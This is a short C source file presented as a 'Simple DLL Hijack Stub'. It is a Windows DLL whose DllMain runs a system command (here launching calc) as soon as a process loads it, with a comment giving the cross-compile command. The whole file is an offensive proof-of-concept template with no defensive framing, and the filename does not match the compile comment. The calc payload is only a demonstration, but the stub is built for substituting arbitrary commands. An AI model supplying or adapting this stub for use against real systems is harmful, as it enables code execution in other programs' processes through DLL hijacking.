Simple DLL Hijack Stub

dll-hijack.c

/* Cross Compile with
    i686-w64-mingw32-g++ calc.c -o calc32.dll -shared
*/
#include <windows.h>
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            system("calc");
            break;
        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;
        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;
        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}